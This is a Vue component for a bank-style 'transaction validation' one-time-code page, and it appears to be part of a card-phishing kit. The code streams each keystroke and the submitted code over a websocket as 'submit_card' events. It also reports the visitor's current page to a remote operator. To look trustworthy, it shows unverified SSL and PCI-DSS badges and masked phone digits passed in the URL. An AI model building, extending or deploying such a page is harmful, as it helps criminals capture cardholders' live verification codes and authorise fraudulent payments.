<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";

const loadingStore = useLoadingStore();
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const message = ref("");
const formData = reactive({ verifyCode: "" });
const showLoadingModal = ref(false);
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;

// Static label derived from initialTime (e.g. 60s → "1 minute")
const initialTimeFormatted = computed(() => {
  const totalSec = initialTime;
  const m = Math.floor(totalSec / 60);
  const s = totalSec % 60;
  if (m > 0 && s === 0) return m === 1 ? "1 minute" : `${m} minutes`;
  if (m > 0) return `${m}m ${s}s`;
  return `${s} seconds`;
});

const buttonText = computed(() => {
  return isCounting.value
    ? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
    : t("otp_view.click_for_another");
});

const onchange = (value: any) => {
  inputChange("input_card", "verifyCode", value.target.value);
  formData.verifyCode = value.target.value;
};

const submit = async () => {
  await nextTick();
  loadingStore.setLoading(true);
  if (!areAllValuesNotEmpty(formData)) {
    loadingStore.setLoading(false);
    return;
  }

  // show loading modal
  showLoadingModal.value = true;

  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: {
        type: "submitValidCode",
        formData,
      },
    })
  );
};

const stopCountdown = () => {
  if (timer !== null) {
    clearInterval(timer);
    timer = null;
  }
  isCounting.value = false;
  localStorage.removeItem("otpResendStart");
};

const startCountdown = (resultType: string) => {
  if (isCounting.value) return;
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "otpValid", resultType },
    })
  );

  localStorage.setItem("otpResendStart", Date.now().toString());
  isCounting.value = true;
  timeLeft.value = initialTime;

  timer = window.setInterval(() => {
    if (timeLeft.value > 0) {
      timeLeft.value -= 1;
      return;
    }
    stopCountdown();
  }, 1000);
};

const restoreCountdown = () => {
  const saved = localStorage.getItem("otpResendStart");
  if (saved) {
    const elapsed = Math.floor((Date.now() - parseInt(saved)) / 1000);
    if (elapsed < initialTime) {
      isCounting.value = true;
      timeLeft.value = initialTime - elapsed;
      timer = window.setInterval(() => {
        if (timeLeft.value > 0) { timeLeft.value -= 1; return; }
        stopCountdown();
      }, 1000);
      return true;
    } else {
      localStorage.removeItem("otpResendStart");
    }
  }
  return false;
};

const handleEvent = (data: { message2: string }) => {
  message.value = data.message2;
  loadingStore.setLoading(false);
  // close loading modal
  showLoadingModal.value = false;
};

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "otpValid" },
    })
  );

  const route = useRoute();
  const query = route.query as any;

  if (query?.cardType) {
    cardType.value = query.cardType;
    localStorage.setItem("cardType", query.cardType);
  } else {
    const type = localStorage.getItem("cardType");
    if (type) {
      cardType.value = type;
    }
  }

  if (query?.message1) {
    message1.value = query.message1;
    localStorage.setItem("message1", query.message1);
  } else {
    const saved = localStorage.getItem("message1");
    if (saved) {
      message1.value = saved;
    }
  }

  localStorage.setItem("route", "otpValid");
  if (!restoreCountdown()) {
    startCountdown("");
  }
  eventBus.on("otp-valid", handleEvent);
});

onUnmounted(() => {
  stopCountdown();
  eventBus.off("otp-valid", handleEvent);
  showLoadingModal.value = false;
});
</script>

<template>
  <div class="otp-page">

    <!-- Top bar -->
    <div class="otp-topbar">
      <div class="otp-topbar-left">
        <img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
      </div>
      <div class="otp-topbar-right">
        <CardType1 :cardType="cardType" />
      </div>
    </div>

    <!-- Main card -->
    <div class="otp-card">

      <!-- Icon + Title -->
      <div class="otp-hero">
        <div class="otp-shield-icon">
          <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
            <path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
            <path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
          </svg>
        </div>
        <h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
        <p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
        <p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
        <p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
      </div>

      <!-- Form -->
      <form class="otp-form" @submit.prevent="submit">

        <div class="otp-input-group">
          <label class="otp-label">{{ t("otp_view.verification_code") }}</label>
          <div class="otp-input-wrap" :class="{ 'has-error': message }">
            <input
              required
              type="text"
              inputmode="numeric"
              autocomplete="one-time-code"
              :placeholder="t('otp_view.enter_your_otp')"
              @input="onchange"
              v-model="formData.verifyCode"
              minlength="3"
              maxlength="8"
              class="otp-input"
            />
          </div>
          <p class="otp-error" v-if="message">
            <svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
            {{ message }}
          </p>
        </div>

        <button type="submit" class="otp-btn-submit">
          {{ t("otp_view.verify") }}
        </button>

        <div class="otp-resend-row">
          <span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
          <a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
            {{ buttonText }}
          </a>
        </div>

      </form>

      <!-- Footer -->
      <div class="otp-footer">

        <!-- Security badges row -->
        <div class="otp-footer-badges">
          <span class="otp-badge">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
            256-bit SSL
          </span>
          <span class="otp-badge-sep"></span>
          <span class="otp-badge">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
            PCI-DSS
          </span>
          <span class="otp-badge-sep"></span>
          <span class="otp-badge">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
            {{ t("otp_view.secure_checkout") }}
          </span>
        </div>

        <!-- Info cards -->
        <div class="otp-info-list">
          <div class="otp-info-item">
            <div class="otp-info-icon">
              <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2" stroke-linecap="round"/></svg>
            </div>
            <p class="otp-info-text">{{ t("otp_view.code_expires", { time: initialTimeFormatted }) }}</p>
          </div>
          <div class="otp-info-item">
            <div class="otp-info-icon">
              <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke-linejoin="round"/></svg>
            </div>
            <p class="otp-info-text">{{ t("otp_view.why_need_otp") }}</p>
          </div>
          <div class="otp-info-item otp-info-warn">
            <div class="otp-info-icon">
              <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
            </div>
            <p class="otp-info-text">{{ t("otp_view.contact_bank") }}</p>
          </div>
          <div class="otp-info-item">
            <div class="otp-info-icon">
              <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
            </div>
            <p class="otp-info-text">{{ t("otp_view.privacy_note") }}</p>
          </div>
        </div>

        <!-- Help row -->
        <div class="otp-help-row">
          <span>{{ t("otp_view.need_help") }}</span>
          <span class="otp-powered">{{ t("otp_view.powered_by") }}</span>
        </div>
      </div>

    </div>
  </div>

  <!-- Loading overlay -->
  <transition name="otp-fade">
    <div class="otp-loading-overlay" v-if="showLoadingModal">
      <div class="otp-loading-dialog">
        <div class="otp-spinner"></div>
        <p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
        <p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
      </div>
    </div>
  </transition>
</template>

<style scoped>
/* ===== Page ===== */
.otp-page {
  min-height: 100vh;
  background: linear-gradient(160deg, #f0f4ff 0%, #fafbff 50%, #f5f7fa 100%);
  display: flex;
  flex-direction: column;
  align-items: center;
  box-sizing: border-box;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}

/* ===== Top bar ===== */
.otp-topbar {
  width: 100%;
  max-width: 560px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 18px 24px 12px;
  box-sizing: border-box;
}

.otp-logo {
  width: 28px;
  height: 28px;
  object-fit: contain;
  opacity: 0.6;
}

/* ===== Main card ===== */
.otp-card {
  width: 100%;
  max-width: 560px;
  background: #ffffff;
  border-radius: 20px;
  border: 1px solid rgba(226,232,240,0.8);
  box-shadow:
    0 0 0 1px rgba(148,163,184,0.05),
    0 4px 6px -2px rgba(15,23,42,0.04),
    0 12px 32px -8px rgba(15,23,42,0.1);
  overflow: hidden;
  box-sizing: border-box;
  margin: 0 16px 40px;
}

/* ===== Hero section ===== */
.otp-hero {
  padding: 36px 32px 26px;
  text-align: center;
  background: linear-gradient(180deg, #f8faff 0%, #ffffff 100%);
  border-bottom: 1px solid #f0f4ff;
  position: relative;
}

.otp-hero::before {
  content: '';
  position: absolute;
  top: 0; left: 0; right: 0;
  height: 3px;
  background: linear-gradient(90deg,
    var(--global-primary-color, #3b82f6) 0%,
    color-mix(in srgb, var(--global-primary-color, #3b82f6) 60%, #818cf8) 100%
  );
}

.otp-shield-icon {
  width: 64px;
  height: 64px;
  background: linear-gradient(135deg,
    color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff) 0%,
    color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, #fff) 100%
  );
  border: 1.5px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 25%, #fff);
  border-radius: 18px;
  display: flex;
  align-items: center;
  justify-content: center;
  margin: 0 auto 18px;
  box-shadow: 0 4px 12px color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, transparent);
}

.otp-shield-icon svg {
  width: 30px;
  height: 30px;
  color: var(--global-primary-color, #3b82f6);
}

.otp-title {
  margin: 0 0 10px;
  font-size: 1.45rem;
  font-weight: 800;
  color: #0f172a;
  letter-spacing: -0.4px;
  line-height: 1.2;
}

.otp-subtitle {
  margin: 0 0 10px;
  font-size: 0.9rem;
  color: #64748b;
  line-height: 1.6;
  max-width: 380px;
  margin-left: auto;
  margin-right: auto;
}

.otp-subtitle strong {
  color: #1e293b;
  font-weight: 700;
}

.otp-notice {
  display: inline-flex;
  align-items: center;
  gap: 5px;
  margin: 4px 0 0;
  padding: 5px 12px;
  background: #fff7ed;
  border: 1px solid #fed7aa;
  border-radius: 20px;
  font-size: 0.75rem;
  color: #92400e;
  line-height: 1.4;
}

/* ===== Form ===== */
.otp-form {
  padding: 26px 32px 22px;
  display: flex;
  flex-direction: column;
  gap: 18px;
}

.otp-input-group {
  display: flex;
  flex-direction: column;
  gap: 8px;
}

.otp-label {
  font-size: 0.82rem;
  font-weight: 700;
  color: #374151;
  letter-spacing: 0.4px;
  text-transform: uppercase;
}

.otp-input-wrap {
  border: 2px solid #e5e7eb;
  border-radius: 12px;
  background: #fafbfc;
  transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
  overflow: hidden;
}

.otp-input-wrap:focus-within {
  border-color: var(--global-primary-color, #3b82f6);
  background: #fff;
  box-shadow: 0 0 0 4px color-mix(in srgb, var(--global-primary-color, #3b82f6) 12%, transparent);
}

.otp-input-wrap.has-error {
  border-color: #ef4444;
  background: #fff5f5;
  box-shadow: 0 0 0 4px rgba(239,68,68,0.1);
}

.otp-input {
  width: 100%;
  height: 62px;
  padding: 0 20px;
  text-align: center;
  border: none;
  outline: none;
  background: transparent;
  font-size: 1.75rem;
  font-weight: 800;
  letter-spacing: 0.3em;
  color: #111827;
  box-sizing: border-box;
}

.otp-input::placeholder {
  font-size: 0.92rem;
  font-weight: 400;
  letter-spacing: 0.04em;
  color: #d1d5db;
}

.otp-error {
  display: flex;
  align-items: center;
  gap: 6px;
  font-size: 0.8rem;
  font-weight: 500;
  color: #dc2626;
  margin: 0;
}

.otp-error svg {
  width: 14px;
  height: 14px;
  flex-shrink: 0;
}

/* ===== Submit button ===== */
.otp-btn-submit {
  width: 100%;
  height: 52px;
  background: var(--global-primary-color, #3b82f6);
  color: #fff;
  border: none;
  border-radius: 12px;
  font-size: 1rem;
  font-weight: 700;
  letter-spacing: 0.05em;
  cursor: pointer;
  transition: filter 0.15s, transform 0.1s, box-shadow 0.15s;
  box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
  position: relative;
  overflow: hidden;
}

.otp-btn-submit::after {
  content: '';
  position: absolute;
  inset: 0;
  background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
  pointer-events: none;
}

.otp-btn-submit:hover {
  filter: brightness(1.06);
  box-shadow: 0 6px 18px color-mix(in srgb, var(--global-primary-color, #3b82f6) 45%, transparent);
}

.otp-btn-submit:active {
  transform: scale(0.985);
  filter: brightness(0.96);
}

/* ===== Resend row ===== */
.otp-resend-row {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 6px;
  font-size: 0.85rem;
  flex-wrap: wrap;
  text-align: center;
  padding-bottom: 4px;
}

.otp-resend-text {
  color: #9ca3af;
}

.otp-resend-link {
  color: var(--global-primary-color, #3b82f6);
  font-weight: 600;
  text-decoration: none;
  cursor: pointer;
  border-bottom: 1px dashed color-mix(in srgb, var(--global-primary-color, #3b82f6) 40%, transparent);
}

.otp-resend-link:hover {
  border-bottom-style: solid;
}

/* ===== Footer ===== */
.otp-footer {
  padding: 0 32px 24px;
  border-top: 1px solid #f1f5f9;
  background: #fafbfd;
}

/* Security badges */
.otp-footer-badges {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 10px;
  padding: 14px 0 16px;
  border-bottom: 1px dashed #e9edf3;
}

.otp-badge {
  display: flex;
  align-items: center;
  gap: 4px;
  font-size: 10px;
  font-weight: 600;
  color: #6b7280;
  white-space: nowrap;
  text-transform: uppercase;
  letter-spacing: 0.4px;
}

.otp-badge svg {
  width: 11px;
  height: 11px;
  fill: #34d399;
  flex-shrink: 0;
}

.otp-badge-sep {
  width: 3px;
  height: 3px;
  border-radius: 50%;
  background: #d1d5db;
  flex-shrink: 0;
}

/* Info list */
.otp-info-list {
  display: flex;
  flex-direction: column;
  gap: 0;
  margin: 14px 0 0;
}

.otp-info-item {
  display: flex;
  align-items: flex-start;
  gap: 10px;
  padding: 10px 0;
  border-bottom: 1px solid #f3f4f6;
}

.otp-info-item:last-child {
  border-bottom: none;
}

.otp-info-icon {
  width: 28px;
  height: 28px;
  border-radius: 8px;
  background: #f0f9ff;
  border: 1px solid #e0f2fe;
  display: flex;
  align-items: center;
  justify-content: center;
  flex-shrink: 0;
  margin-top: 1px;
}

.otp-info-icon svg {
  width: 13px;
  height: 13px;
  color: #0ea5e9;
  stroke: #0ea5e9;
}

.otp-info-warn .otp-info-icon {
  background: #fff7ed;
  border-color: #fed7aa;
}

.otp-info-warn .otp-info-icon svg {
  color: #f97316;
  stroke: #f97316;
}

.otp-info-text {
  margin: 0;
  font-size: 0.795rem;
  color: #6b7280;
  line-height: 1.55;
  padding-top: 5px;
}

.otp-info-warn .otp-info-text {
  color: #92400e;
}

/* Help row */
.otp-help-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding-top: 14px;
  margin-top: 4px;
  font-size: 0.78rem;
  color: #9ca3af;
  border-top: 1px solid #f1f5f9;
}

.otp-powered {
  font-size: 0.72rem;
  color: #9ca3af;
  font-weight: 500;
}

/* ===== Loading overlay ===== */
.otp-fade-enter-active,
.otp-fade-leave-active {
  transition: opacity 0.25s ease;
}
.otp-fade-enter-from,
.otp-fade-leave-to {
  opacity: 0;
}

.otp-loading-overlay {
  position: fixed;
  inset: 0;
  background: rgba(15, 23, 42, 0.45);
  backdrop-filter: blur(8px);
  -webkit-backdrop-filter: blur(8px);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 9999;
}

.otp-loading-dialog {
  background: #fff;
  border-radius: 20px;
  padding: 40px 48px;
  text-align: center;
  box-shadow:
    0 8px 32px rgba(15,23,42,0.15),
    0 0 0 1px rgba(148,163,184,0.12);
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 14px;
  min-width: 220px;
}

.otp-spinner {
  width: 44px;
  height: 44px;
  border: 3px solid #e5e7eb;
  border-top-color: var(--global-primary-color, #3b82f6);
  border-radius: 50%;
  animation: otp-spin 0.75s linear infinite;
}

@keyframes otp-spin {
  to { transform: rotate(360deg); }
}

.otp-loading-text {
  margin: 0;
  font-size: 1rem;
  font-weight: 700;
  color: #111827;
}

.otp-loading-sub {
  margin: 0;
  font-size: 0.8rem;
  color: #9ca3af;
}

/* ===== Responsive ===== */
@media (max-width: 580px) {
  .otp-card {
    margin: 0 0 28px;
    border-radius: 0;
    border-left: none;
    border-right: none;
    box-shadow: none;
  }

  .otp-hero {
    padding: 28px 20px 20px;
  }

  .otp-form {
    padding: 22px 20px 18px;
  }

  .otp-footer {
    padding: 0 20px 20px;
  }

  .otp-topbar {
    padding: 14px 16px 10px;
  }

  .otp-title {
    font-size: 1.25rem;
  }

  .otp-input {
    font-size: 1.5rem;
    height: 56px;
  }
}
</style>